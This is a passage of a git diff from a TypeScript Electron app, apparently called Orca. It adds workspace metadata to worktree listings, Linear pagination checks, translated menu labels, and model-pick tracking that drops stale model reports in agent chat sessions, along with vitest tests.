+          ...(workspaceMetadata ? { workspaceMetadata } : {})
         }
       }
       return {
@@ -83,6 +93,7 @@ export async function listDetectedWorktreesForCapturedRepo(
         authoritative: true,
         source: 'git',
         catalogVersion: getLocalWorktreeCatalogVersion(repo.id),
+        ...(workspaceMetadata ? { workspaceMetadata } : {}),
         worktrees: projectWorktreeLineageWithHostPeers(
           store,
           repo,
@@ -108,7 +119,8 @@ export async function listDetectedWorktreesForCapturedRepo(
         authoritative: false,
         source: 'metadata-fallback',
         worktrees: buildDisconnectedDetectedWorktrees(store, repo, worktrees),
-        catalogVersion: getLocalWorktreeCatalogVersion(repo.id)
+        catalogVersion: getLocalWorktreeCatalogVersion(repo.id),
+        ...(workspaceMetadata ? { workspaceMetadata } : {})
       }
     }
     const pendingAtScan = snapshotPendingWorktreeRemovals()
@@ -140,7 +152,8 @@ export async function listDetectedWorktreesForCapturedRepo(
         authoritative: false,
         source: 'metadata-fallback',
         worktrees: [],
-        catalogVersion: localWorktreeCatalogVersionAt(scan.generation)
+        catalogVersion: localWorktreeCatalogVersionAt(scan.generation),
+        ...(workspaceMetadata ? { workspaceMetadata } : {})
       }
     }
     if (freshScan) {
@@ -166,6 +179,7 @@ export async function listDetectedWorktreesForCapturedRepo(
       authoritative: true,
       source: 'git',
       catalogVersion: localWorktreeCatalogVersionAt(scan.generation),
+      ...(workspaceMetadata ? { workspaceMetadata } : {}),
       worktrees: projectPendingWorktreeRemovals(
         buildDetectedGitWorktrees(store, repo, localRows, allMeta),
         (worktree) => worktree.id,
@@ -196,7 +210,8 @@ export async function listDetectedWorktreesForCapturedRepo(
         unavailableReason,
         failureKind,
         wslDistroStopped,
-        catalogVersion: getLocalWorktreeCatalogVersion(repo.id)
+        catalogVersion: getLocalWorktreeCatalogVersion(repo.id),
+        ...(workspaceMetadata ? { workspaceMetadata } : {})
       }
     }
     warnOnce(
@@ -212,7 +227,8 @@ export async function listDetectedWorktreesForCapturedRepo(
       worktrees: [],
       unavailableReason,
       failureKind,
-      catalogVersion: getLocalWorktreeCatalogVersion(repo.id)
+      catalogVersion: getLocalWorktreeCatalogVersion(repo.id),
+      ...(workspaceMetadata ? { workspaceMetadata } : {})
     }
   }
 }
diff --git a/src/main/linear/issue-relation-write.test.ts b/src/main/linear/issue-relation-write.test.ts
new file mode 100644
index 00000000000..9eb2ba48ae5
--- /dev/null
+++ b/src/main/linear/issue-relation-write.test.ts
@@ -0,0 +1,54 @@
+import { describe, expect, it, vi } from 'vitest'
+
+const { rawRequest } = vi.hoisted(() => ({ rawRequest: vi.fn() }))
+
+vi.mock('./linear-request-concurrency', () => ({
+  acquire: vi.fn().mockResolvedValue(undefined),
+  release: vi.fn()
+}))
+
+vi.mock('./linear-token-store', () => ({
+  clearToken: vi.fn()
+}))
+
+vi.mock('./client', () => ({
+  getClients: () => [{ workspace: { id: 'workspace-1' }, client: { client: { rawRequest } } }],
+  isAuthError: () => false
+}))
+
+import { writeIssueRelation } from './issue-relation-write'
+
+describe('writeIssueRelation', () => {
+  it('does not create a relation when the duplicate lookup omits pageInfo', async () => {
+    rawRequest.mockImplementation(async (query: string) =>
+      query.includes('issueRelationCreate')
+        ? {
+            data: {
+              issueRelationCreate: {
+                success: true,
+                issueRelation: {
+                  id: 'rel-new',
+                  type: 'blocks',
+                  issue: { id: 'issue-1' },
+                  relatedIssue: { id: 'issue-2' }
+                }
+              }
+            }
+          }
+        : { data: { issue: { relations: { nodes: [] } } } }
+    )
+    const issue = { id: 'issue-1', identifier: 'LIN-1', title: 'One', url: 'https://x/1' }
+    const relatedIssue = { id: 'issue-2', identifier: 'LIN-2', title: 'Two', url: 'https://x/2' }
+
+    await expect(
+      writeIssueRelation({
+        issue,
+        relatedIssue,
+        relationship: 'blocks',
+        operation: 'add',
+        workspaceId: 'workspace-1'
+      })
+    ).rejects.toMatchObject({ code: 'linear_partial' })
+    expect(rawRequest).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/src/main/linear/issue-relation-write.ts b/src/main/linear/issue-relation-write.ts
index 9b340d28bd1..e63e26fdb70 100644
--- a/src/main/linear/issue-relation-write.ts
+++ b/src/main/linear/issue-relation-write.ts
@@ -9,6 +9,7 @@ import { acquire, release } from './linear-request-concurrency'
 import { clearToken } from './linear-token-store'
 import { getClients, isAuthError } from './client'
 import { linearError } from './issue-context/errors'
+import { linearConnectionHasNextPage } from './issue-context/pagination'
 import {
   INVERSE_RELATIONS_QUERY,
   RELATIONS_QUERY,
@@ -135,7 +136,7 @@ async function findRelationInDirection(
     }
 
     inspected += nodes.length
-    const hasMore = connection?.pageInfo?.hasNextPage === true
+    const hasMore = linearConnectionHasNextPage(connection)
     const nextCursor = connection?.pageInfo?.endCursor ?? undefined
     if (!hasMore) {
       return { relation: null, hasMore: false }
diff --git a/src/main/linear/mcp-issue-list-page-info.test.ts b/src/main/linear/mcp-issue-list-page-info.test.ts
deleted file mode 100644
index cd4e71b6e98..00000000000
--- a/src/main/linear/mcp-issue-list-page-info.test.ts
+++ /dev/null
@@ -1,67 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-const { rawRequest } = vi.hoisted(() => ({ rawRequest: vi.fn() }))
-
-vi.mock('./linear-request-concurrency', () => ({
-  acquire: vi.fn().mockResolvedValue(undefined),
-  release: vi.fn()
-}))
-
-vi.mock('./linear-token-store', () => ({
-  clearToken: vi.fn()
-}))
-
-vi.mock('./client', () => ({
-  getClients: () => [
-    {
-      workspace: {
-        id: 'workspace-1',
-        organizationId: 'workspace-1',
-        organizationName: 'Acme',
-        displayName: 'Ada',
-        email: 'ada@example.com'
-      },
-      client: { client: { rawRequest } }
-    }
-  ],
-  getStatus: () => ({ workspaces: [] }),
-  isAuthError: () => false,
-  getPublicFileUrlClient: (entry: { client: unknown }) => entry.client
-}))
-
-import { listMcpIssues } from './mcp-issue-list'
-
-function issueNode(id: string) {
-  return {
-    id,
-    identifier: id.toUpperCase(),
-    title: id,
-    url: `https://linear.app/acme/issue/${id}`,
-    labels: { nodes: [] },
-    updatedAt: '2026-11-10T00:00:00.000Z'
-  }
-}
-
-describe('Linear list pagination evidence', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-  })
-
-  it('does not report a complete list when a later page omits pageInfo', async () => {
-    rawRequest
-      .mockResolvedValueOnce({
-        data: {
-          issues: {
-            nodes: [issueNode('lin-1'), issueNode('lin-2')],
-            pageInfo: { hasNextPage: true, endCursor: 'next' }
-          }
-        }
-      })
-      .mockResolvedValueOnce({
-        data: { issues: { nodes: [] } }
-      })
-
-    await expect(listMcpIssues({})).rejects.toMatchObject({ code: 'linear_partial' })
-    expect(rawRequest).toHaveBeenCalledTimes(2)
-  })
-})
diff --git a/src/main/menu/app-menu-window.ts b/src/main/menu/app-menu-window.ts
index c78e289fdb1..a1b939e5668 100644
--- a/src/main/menu/app-menu-window.ts
+++ b/src/main/menu/app-menu-window.ts
@@ -1,3 +1,5 @@
+import { labeledAppMenuRole } from './labeled-app-menu-role'
+
 export function createAppWindowMenu(
   label: string,
   isMac: boolean
@@ -6,11 +8,11 @@ export function createAppWindowMenu(
     label,
     submenu: [
       {
-        // Electron's minimize role would steal Ctrl+M from terminal apps.
-        role: 'minimize',
+        ...labeledAppMenuRole('minimize', 'menu.minimize', 'Minimize'),
+        // Why: Electron's minimize role otherwise steals Ctrl+M from terminal apps.
         ...(isMac ? {} : { accelerator: '', registerAccelerator: false })
       },
-      { role: 'zoom' }
+      labeledAppMenuRole('zoom', 'menu.zoom', 'Zoom')
     ]
   }
 }
diff --git a/src/main/menu/labeled-app-menu-role.ts b/src/main/menu/labeled-app-menu-role.ts
new file mode 100644
index 00000000000..28d4c6f682b
--- /dev/null
+++ b/src/main/menu/labeled-app-menu-role.ts
@@ -0,0 +1,9 @@
+import { translateMain } from '../i18n/main-i18n'
+
+export function labeledAppMenuRole(
+  role: Electron.MenuItemConstructorOptions['role'],
+  key: string,
+  fallback: string
+): Electron.MenuItemConstructorOptions {
+  return { role, label: translateMain(key, fallback) }
+}
diff --git a/src/main/menu/register-app-menu.ts b/src/main/menu/register-app-menu.ts
index 55c6b770f77..ab7117af9a6 100644
--- a/src/main/menu/register-app-menu.ts
+++ b/src/main/menu/register-app-menu.ts
@@ -10,6 +10,7 @@ import { translateMain } from '../i18n/main-i18n'
 import { createAppMenuSelectionItem, resolveNativeEditTarget } from './app-menu-selection-item'
 import { createAppMenuQuitItems, type AppMenuQuitHandlers } from './app-menu-quit-item'
 import { createAppMenuReloadAndDevToolsItems } from './app-menu-reload-devtools-items'
+import { labeledAppMenuRole } from './labeled-app-menu-role'
 import { createAppWindowMenu } from './app-menu-window'
 
 export type AppearanceMenuState = {
@@ -129,15 +130,15 @@ function buildAndApplyMenu(options: RegisterAppMenuOptions): void {
   const macAppMenu: Electron.MenuItemConstructorOptions = {
     label: options.appMenuLabel ?? app.name,
     submenu: [
-      { role: 'about' },
+      labeledAppMenuRole('about', 'menu.about', 'About Orca'),
       checkForUpdatesItem,
       settingsItem,
       { type: 'separator' },
-      { role: 'services' },
+      labeledAppMenuRole('services', 'menu.services', 'Services'),
       { type: 'separator' },
-      { role: 'hide' },
-      { role: 'hideOthers' },
-      { role: 'unhide' },
+      labeledAppMenuRole('hide', 'menu.hide', 'Hide Orca'),
+      labeledAppMenuRole('hideOthers', 'menu.hideOthers', 'Hide Others'),
+      labeledAppMenuRole('unhide', 'menu.unhide', 'Show All'),
       { type: 'separator' },
       ...createAppMenuQuitItems(options, options.appMenuLabel ?? app.name)
     ]
@@ -155,10 +156,10 @@ function buildAndApplyMenu(options: RegisterAppMenuOptions): void {
   const editMenu: Electron.MenuItemConstructorOptions = {
     label: translateMain('menu.edit', 'Edit'),
     submenu: [
-      { role: 'undo', ...undoRedoOptions },
-      { role: 'redo', ...undoRedoOptions },
+      { role: 'undo', label: translateMain('menu.undo', 'Undo'), ...undoRedoOptions },
+      { role: 'redo', label: translateMain('menu.redo', 'Redo'), ...undoRedoOptions },
       { type: 'separator' },
-      { role: 'cut' },
+      labeledAppMenuRole('cut', 'menu.cut', 'Cut'),
       createAppMenuSelectionItem({
         action: 'copy',
         label: translateMain('menu.copy', 'Copy'),
@@ -268,7 +269,7 @@ function buildAndApplyMenu(options: RegisterAppMenuOptions): void {
         label: `${translateMain('menu.openWorktreePalette', 'Open Worktree Palette')}\t${shortcutLabel('worktree.palette')}`
       },
       { type: 'separator' },
-      { role: 'togglefullscreen' },
+      labeledAppMenuRole('togglefullscreen', 'menu.toggleFullScreen', 'Toggle Full Screen'),
       { type: 'separator' },
       appearanceSubmenu
     ]
@@ -287,7 +288,7 @@ function buildAndApplyMenu(options: RegisterAppMenuOptions): void {
         ? []
         : ([
             { type: 'separator' },
-            { role: 'about' },
+            labeledAppMenuRole('about', 'menu.about', 'About Orca'),
             checkForUpdatesItem
           ] satisfies Electron.MenuItemConstructorOptions[]))
     ]
diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-entry.test.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-entry.test.ts
index a7f586a5c91..9286e5f368a 100644
--- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-entry.test.ts
+++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-entry.test.ts
@@ -74,14 +74,16 @@ describe('a model whose newer chat listing does not know its efforts', () => {
     expect(merged).not.toHaveProperty('defaultEffort')
   })
 
-  it('keeps native suggestions unknown without a known model menu', () => {
+  it('drops an OMP menu an older build borrowed from the running model', () => {
+    const saved = unknownChat(1, menu('low', 'medium', 'max'))
+    expect(agentModelCatalogEntry('omp', 'fp', saved, null, null)?.models[0]).toMatchObject({
+      efforts: [],
+      effortsKnown: false
+    })
+  })
+
+  it('keeps an older unknown menu when the newer listing has none', () => {
     const older = unknownChat(1, menu('low', 'high'))
-    const newer = unknownChat(2, menu('off', 'auto'))
-    for (const discovered of [null, { ...older, origin: 'probe' as const }]) {
-      const merged = agentModelCatalogEntry('omp', 'fp', discovered, newer, null)?.models[0]
-      expect(merged).toMatchObject({ efforts: menu('off', 'auto'), effortsKnown: false })
-      expect(merged).not.toHaveProperty('defaultEffort')
-    }
     expect(model({ ...older, origin: 'probe' }, unknownChat(2))).toMatchObject({
       efforts: menu('low', 'high'),
       effortsKnown: false
diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-models.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-models.ts
index d9945ac0782..3b6ffd9e712 100644
--- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-models.ts
+++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-models.ts
@@ -28,7 +28,7 @@ export function mergedAgentModelCatalogModels(
     // Coarser probe menus must not discard a chat-confirmed effort unless a newer chat menu does.
     const keepsChatMenu =
       older === live && !offersConfigured(model.efforts) && offersConfigured(olderEfforts)
-    const { efforts, effortsKnown } = modelSpecificEfforts
+    const { efforts: keptEfforts, effortsKnown } = modelSpecificEfforts
       ? model.effortsKnown === false && olderModel
         ? olderModel
         : model
@@ -39,6 +39,8 @@ export function mergedAgentModelCatalogModels(
         : model.efforts.length > 0 && !keepsChatMenu
           ? model
           : (olderModel ?? model)
+    // An unobserved per-model menu is another model's; older builds saved such copies.
+    const efforts = modelSpecificEfforts && effortsKnown === false ? [] : keptEfforts
     const defaultEffort = [configuredEffort, listed?.defaultEffort, reported?.defaultEffort].find(
       (effort) => effort !== undefined && efforts.some((choice) => choice.value === effort)
     )
diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts
index b90609fc5ed..37122867666 100644
--- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts
+++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-scope.ts
@@ -62,7 +62,8 @@ export async function resolveAgentModelCatalogScope(
   // The list belongs to the account and the CLI a chat here would launch, not to this folder:
   // resolve the executable where the chat runs, but list from an empty Orca-owned folder so the
   // listing reads only account settings (a home folder can hold another account's settings as
-  // project settings) and every workspace sharing that invocation shares one listing.
+  // project settings) and every workspace sharing that invocation shares one listing. A command
+  // line that may name files in the chat's folder lists there instead (`catalogListingDirectory`).
   let listIn: string
   try {
     listIn = resolveHiddenProbeCwd()
diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts
index b737ff65017..55cb348482b 100644
--- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts
+++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-snapshot.ts
@@ -239,7 +239,10 @@ export function projectAgentModelCatalogSnapshot(
     ...(!params.savedOnly &&
     !params.verifiedOnly &&
     (deps.store.isListing(bound.fingerprint) ||
-      (resolving && deps.store.probeDue(bound.fingerprint))) &&
+      (resolving &&
+        (deps.store.probeDue(bound.fingerprint) ||
+          // The picked model's menu is listed by the refresh this read just asked for.
+          deps.store.efforts.due(bound.fingerprint, params.selectedModel)))) &&
     (independent || !listed || usesModelSpecificAcpEfforts(params.agent))
       ? { listingInProgress: true as const }
       : {}),
diff --git a/src/main/native-chat/agent-session-journal/input-order/journal-input-obligations.ts b/src/main/native-chat/agent-session-journal/input-order/journal-input-obligations.ts
index de62b758978..2e082b85a45 100644
--- a/src/main/native-chat/agent-session-journal/input-order/journal-input-obligations.ts
+++ b/src/main/native-chat/agent-session-journal/input-order/journal-input-obligations.ts
@@ -262,6 +262,10 @@ export function journalInputPresentationMember(
   state: JournalReducerState,
   itemId: string
 ): boolean {
+  // Renders ask this of every row on each commit; parsing each key froze main in big chats (#40682).
+  if (state.inputs.rejections.size === 0) {
+    return true
+  }
   const identity = parseAgentJournalItemKey(itemId)
   return (
     identity?.provider !== 'orca' ||
diff --git a/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-option-refresh.test-fixture.ts b/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-option-refresh.test-fixture.ts
index 7138dbedf82..856e071ee53 100644
--- a/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-option-refresh.test-fixture.ts
+++ b/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-option-refresh.test-fixture.ts
@@ -106,7 +106,8 @@ export function piOptionRefreshHost(sessionId = 'session-1') {
         },
         serialize: (_sessionId: string, task: () => Promise<unknown>) => task(),
         openConversation: async () => conversation,
-        conversation: async () => conversation
+        conversation: async () => conversation,
+        sessions: new Map([[sessionId, conversation]])
       } as unknown as StructuredAgentSessionMutationContext
       return readStructuredAgentSessionOptions(context, sessionId, { readsWithoutModel: true })
     },
diff --git a/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-options-read-report-freshness.test.ts b/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-options-read-report-freshness.test.ts
new file mode 100644
index 00000000000..d6e7517d7ea
--- /dev/null
+++ b/src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-options-read-report-freshness.test.ts
@@ -0,0 +1,182 @@
+import { expect, it } from 'vitest'
+import type { AgentSessionModelCatalogResult } from '../../../../../shared/agent-session/agent-session-wire'
+import type { StructuredAgentSessionMutationContext } from '../../operations/structured-agent-session-mutation-context'
+import type {
+  StructuredAgentSessionHostSession,
+  StructuredAgentSessionProviderChild
+} from '../structured-agent-session-host-types'
+import { readStructuredAgentSessionOptions } from '../../options/structured-agent-session-options-read'
+import { noteStructuredAgentSessionOptionPick } from '../../options/structured-agent-session-option-intent'
+import {
+  hostTestCatalogReadOperation,
+  hostTestOptionsReadStore,
+  hostTestRestingOptionsJournal,
+  hostTestRestingOptionsRecord,
+  HOST_TEST_NOW as NOW,
+  HOST_TEST_SESSION as SESSION,
+  hostTestOperationId
+} from './structured-agent-session-host-test-data.test-fixture'
+import {
+  createQueuedMessageTestRig,
+  QUEUED_RIG_CALLER
+} from './structured-agent-session-queued-message-rig.test-fixture'
+import { appendUsageLimitedTurn } from './structured-agent-session-rewind-usage-limit.test-fixture'
+
+const RESPONSE_REPORT = { model: 'opus[1m]', reportedModel: 'claude-opus-4-8' }
+// Claude's confirmed init model stands in for a report when no response named one.
+const CONFIRMED_INIT = { model: 'opus[1m]', confirmed: ['model'] }
+
+function claudeOptionsRead(answer: Record<string, unknown> = RESPONSE_REPORT) {
+  const record = {
+    ...hostTestRestingOptionsRecord('session-1'),
+    provider: 'claude',
+    options: { model: 'opus[1m]' }
+  }
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the reader and pick counter use only the child's identity, fence and phase.
+  const child = { fence: 2, phase: 'ready' } as unknown as StructuredAgentSessionProviderChild
+  const conversation = {
+    child,
+    params: { provider: 'claude' },
+    journal: hostTestRestingOptionsJournal()
+  }
+  // Picks serialize with the live read, so they can land only after it, as the answer is assembled.
+  const entered = Promise.withResolvers<void>()
+  const assembled = Promise.withResolvers<void>()
+  const home: AgentSessionModelCatalogResult = { origin: 'probe', fetchedAt: 1, models: [] }
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: picks and the reader read only the session's current child.
+  const session = { child } as unknown as StructuredAgentSessionHostSession
+  const sessions = new Map([['session-1', session]])
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the real reader accesses only these injected ports; no provider process is launched.
+  const context = {
+    deps: {
+      adapter: {
+        readOptions: async () => ({
+          models: [],
+          current: answer
+        })
+      },
+      agents: { definition: () => null, capabilities: () => null },
+      store: hostTestOptionsReadStore(() => record),
+      modelCatalog: {
+        captureRead: hostTestCatalogReadOperation,
+        read: async () => home
+      }
+    },
+    serialize: (_sessionId: string, task: () => Promise<unknown>) => task(),
+    openConversation: async () => conversation,
+    conversation: async () => {
+      entered.resolve()
+      await assembled.promise
+      return conversation
+    },
+    sessions
+  } as unknown as StructuredAgentSessionMutationContext
+  const pick = (model: string) => {
+    record.options.model = model
+    noteStructuredAgentSessionOptionPick(
+      { deps: { adapter: {} }, sessions },
+      { sessionId: 'session-1', fence: 2 },
+      { key: 'model', value: model },
+      true
+    )
+  }
+  /** Run `during` while the read is between its live snapshot and its answer. */
+  const read = async (during: () => void = () => {}) => {
+    const answer = readStructuredAgentSessionOptions(context, 'session-1', {
+      readsWithoutModel: true
+    })
+    await entered.promise
+    during()
+    assembled.resolve()
+    return (await answer).current
+  }
+  return { read, pick, sessions, session }
+}
+
+it('keeps a live fallback report that no pick has replaced', async () => {
+  expect(await claudeOptionsRead(CONFIRMED_INIT).read()).toMatchObject({
+    reportedModel: 'opus[1m]'
+  })
+  expect(await claudeOptionsRead().read()).toMatchObject({
+    model: 'opus[1m]',
+    reportedModel: 'claude-opus-4-8'
+  })
+})
+
+it.each([
+  ['picks back to the same model', ['sonnet', 'opus[1m]'], RESPONSE_REPORT],
+  ['re-picks the shown model', ['opus[1m]'], RESPONSE_REPORT],
+  ['picks back while only the init model confirms', ['sonnet', 'opus[1m]'], CONFIRMED_INIT]
+])(
+  'drops a report captured before the user %s while the read is in flight',
+  async (_, models, answer) => {
+    const host = claudeOptionsRead(answer)
+    const current = await host.read(() => models.forEach((model) => host.pick(model)))
+    expect(current.model).toBe('opus[1m]')
+    expect(current.reportedModel).toBeUndefined()
+  }
+)
+
+it('drops a report from a child that ended or was replaced while the read was in flight', async () => {
+  for (const next of [null, { fence: 3, phase: 'ready' }]) {
+    const host = claudeOptionsRead()
+    const current = await host.read(() => {
+      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: only child identity matters to the reader.
+      host.sessions.set('session-1', {
+        ...host.session,
+        child: next
+      } as unknown as StructuredAgentSessionHostSession)
+    })
+    expect(current.reportedModel).toBeUndefined()
+  }
+})
+
+it.each([
+  [
+    'retires the report when the user picks back to it',
+    QUEUED_RIG_CALLER,
+    ['sonnet', 'opus[1m]'],
+    undefined
+  ],
+  [
+    'keeps the report through an old client empty no-op',
+    { ...QUEUED_RIG_CALLER, readsOptionsWithoutModel: false },
+    [''],
+    'claude-opus-4-8'
+  ]
+] as const)(
+  'after a usage-limited turn, a pick made while recovery choices load %s',
+  async (_, caller, models, reportedModel) => {
+    const rig = await createQueuedMessageTestRig({ agent: 'claude' })
+    try {
+      const pick = async (value: string) => {
+        const fields = { key: 'model', value }
+        return rig.host.setOption(caller, {
+          envelope: rig.envelope(fields, 'agentSession.setOption', hostTestOperationId()),
+          ...fields
+        })
+      }
+      expect(await pick('opus[1m]')).toMatchObject({ ok: true })
+      rig.host.deps.adapter.readOptions = async () => ({ models: [], current: RESPONSE_REPORT })
+      const journal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal
+      await appendUsageLimitedTurn(journal, NOW, 'quota')
+      const recovering = Promise.withResolvers<void>()
+      const released = Promise.withResolvers<undefined>()
+      rig.host.deps.resolveLaunchEnv = () => {
+        recovering.resolve()
+        return released.promise
+      }
+      const answer = rig.host.readOptions(SESSION)
+      await recovering.promise
+      for (const model of models) {
+        expect(await pick(model)).toMatchObject({ ok: true })
+      }
+      released.resolve(undefined)
+      const { current } = await answer
+      expect(current.model).toBe('opus[1m]')
+      expect(current.reportedModel).toBe(reportedModel)
+    } finally {
+      await rig.dispose()
+    }
+  }
+)
diff --git a/src/main/native-chat/agent-session-wire/operations/structured-agent-session-host-mutations.ts b/src/main/native-chat/agent-session-wire/operations/structured-agent-session-host-mutations.ts
index adca12f049b..d8e7188f424 100644
--- a/src/main/native-chat/agent-session-wire/operations/structured-agent-session-host-mutations.ts
+++ b/src/main/native-chat/agent-session-wire/operations/structured-agent-session-host-mutations.ts
@@ -51,7 +51,10 @@ import { openWithReadyStructuredAgentSessionChild } from './structured-agent-ses
 
 import type { StructuredAgentSessionCaller } from '../host/structured-agent-session-host-types'
 import '../options/structured-agent-session-options-read'
-import { recordStructuredAgentSessionOptionIntent } from '../options/structured-agent-session-option-intent'
+import {
+  noteStructuredAgentSessionOptionPick,
+  recordStructuredAgentSessionOptionIntent
+} from '../options/structured-agent-session-option-intent'
 import { confirmIdleStructuredAgentSessionOption } from '../options/structured-agent-session-idle-option'
 
 export function sendStructuredAgentSessionTurn(
@@ -240,6 +243,7 @@ export async function setStructuredAgentSessionOption(
           readsWithoutModel: caller.readsOptionsWithoutModel !== false
         })
         if (picked.ok) {
+          noteStructuredAgentSessionOptionPick(context, ctx, params, !noChoice)
           const confirming = confirmIdleStructuredAgentSessionOption(context, ctx, params)
           context.trackProviderOperation?.(confirming)
           void confirming.catch((error) => {
diff --git a/src/main/native-chat/agent-session-wire/options/structured-agent-session-option-intent.ts b/src/main/native-chat/agent-session-wire/options/structured-agent-session-option-intent.ts
index 6a42d64f690..54206b25ad7 100644
--- a/src/main/native-chat/agent-session-wire/options/structured-agent-session-option-intent.ts
+++ b/src/main/native-chat/agent-session-wire/options/structured-agent-session-option-intent.ts
@@ -18,6 +18,10 @@ import {
   structuredAgentSessionPickReply
 } from './structured-agent-session-pick-reply'
 import type { StructuredAgentSessionAdapter } from '../providers/structured-agent-session-adapter'
+import type {
+  StructuredAgentSessionHostSession,
+  StructuredAgentSessionProviderChild
+} from '../host/structured-agent-session-host-types'
 
 function acceptsOptionPick(
   agents: Pick<StructuredAgentRegistry, 'definition'>,
@@ -101,3 +105,34 @@ export async function recordStructuredAgentSessionOptionIntent(
     }
   }
 }
+
+const modelPicks = new WeakMap<StructuredAgentSessionProviderChild, number>()
+
+/** Counts saved model picks per child, so a read can tell its captured report predates one. */
+export function structuredAgentSessionModelPicks(
+  child: StructuredAgentSessionProviderChild
+): number {
+  return modelPicks.get(child) ?? 0
+}
+
+/** A saved pick retires the current child's earlier reports, including ones a read already captured. */
+export function noteStructuredAgentSessionOptionPick(
+  context: {
+    deps: { adapter: Pick<StructuredAgentSessionAdapter, 'noteOptionPick'> }
+    sessions: ReadonlyMap<string, StructuredAgentSessionHostSession>
+  },
+  ctx: Pick<AgentSessionTurnContext, 'sessionId' | 'fence'>,
+  input: { key: string; value: string },
+  saved: boolean
+): void {
+  const { sessionId, fence } = ctx
+  // An old client's empty model clears nothing, so it retires no report.
+  if (!saved) {
+    return
+  }
+  const child = context.sessions.get(sessionId)?.child
+  if (input.key === 'model' && child?.fence === fence) {
+    modelPicks.set(child, structuredAgentSessionModelPicks(child) + 1)
+  }
+  context.deps.adapter.noteOptionPick?.({ sessionId, fence, ...input })
+}
diff --git a/src/main/native-chat/agent-session-wire/options/structured-agent-session-options-read.ts b/src/main/native-chat/agent-session-wire/options/structured-agent-session-options-read.ts
index 7fcc1712749..761d2594fe4 100644
--- a/src/main/native-chat/agent-session-wire/options/structured-agent-session-options-read.ts
+++ b/src/main/native-chat/agent-session-wire/options/structured-agent-session-options-read.ts
@@ -30,12 +30,13 @@ import { structuredAgentSessionImmediatePermission } from './structured-agent-se
 import type { StructuredAgentSessionMutationContext } from '../operations/structured-agent-session-mutation-context'
 import { readStructuredSessionRecovery } from '../recovery/structured-agent-session-recovery-read'
 import { fillUnknownModelEfforts } from '../../../../shared/agent-session/options/agent-session-model-efforts'
+import { structuredAgentSessionModelPicks } from './structured-agent-session-option-intent'
 
 /** A live child's own answer, or the answer at rest; the goal, usage and rewind either way. */
 export async function readStructuredAgentSessionOptions(
   context: Pick<
     StructuredAgentSessionMutationContext,
-    'deps' | 'serialize' | 'openConversation' | 'conversation'
+    'deps' | 'serialize' | 'openConversation' | 'conversation' | 'sessions'
   > &
     Partial<Pick<StructuredAgentSessionMutationContext, 'deliveryOrder'>>,
   sessionId: string,
@@ -71,6 +72,7 @@ export async function readStructuredAgentSessionOptions(
         child && child.phase !== 'starting'
           ? await adapter.readOptions?.({ sessionId, fence: child.fence })
           : undefined
+      const modelPicks = child ? structuredAgentSessionModelPicks(child) : 0
       const scope = () =>
         structuredAgentSessionCatalogScopeOwned(
           context.deps,
@@ -93,7 +95,8 @@ export async function readStructuredAgentSessionOptions(
         records,
         session,
         child,
-        options: observed ?? null
+        options: observed ?? null,
+        modelPicks
       }
     })
   let started = await readCurrent(true)
@@ -130,6 +133,13 @@ export async function readStructuredAgentSessionOptions(
   const agent = session.params.provider
   const capabilities = agents.capabilities(agent)
   const restingOptions = await atRest()
+  const recovery = await readStructuredSessionRecovery(session, context, sessionId)
+  const [floor, goalSource, contextUsage] = await Promise.all([
+    session.journal.reads.contextFloor(),
+    session.journal.reads.threadGoalSource(),
+    capabilities?.contextUsage ? session.journal.reads.contextUsage() : undefined
+  ])
+  const contextFloor = floor ? { contextFloor: floor } : {}
   if (live && usesModelSpecificAcpEfforts(agent)) {
     options = {
       ...options,
@@ -157,12 +167,17 @@ export async function readStructuredAgentSessionOptions(
   const model = saved.model ?? (options.current.model || selected.current.model || displayDefault)
   const projected = live?.projectCurrent?.({ ...saved, ...(model ? { model } : {}) })
   const reportedEffort = projected?.confirmed?.includes('effort') ? projected.effort : undefined
-  const reportedModel = live
-    ? (options.current.reportedModel ??
-      (agent === 'claude' && options.current.confirmed?.includes('model')
-        ? options.current.model
-        : undefined))
-    : undefined
+  // After every await: a pick or a replaced child since the live read retires its report.
+  const reportedModel =
+    live &&
+    started.kind === 'live' &&
+    context.sessions.get(sessionId)?.child === started.child &&
+    started.modelPicks === structuredAgentSessionModelPicks(started.child)
+      ? (options.current.reportedModel ??
+        (agent === 'claude' && options.current.confirmed?.includes('model')
+          ? options.current.model
+          : undefined))
+      : undefined
   const current = {
     ...selected.current,
     ...options.current,
@@ -234,13 +249,6 @@ export async function readStructuredAgentSessionOptions(
       current.serviceTier = projected.options.serviceTier
     }
   }
-  const recovery = await readStructuredSessionRecovery(session, context, sessionId)
-  const [floor, goalSource, contextUsage] = await Promise.all([
-    session.journal.reads.contextFloor(),
-    session.journal.reads.threadGoalSource(),
-    capabilities?.contextUsage ? session.journal.reads.contextUsage() : undefined
-  ])
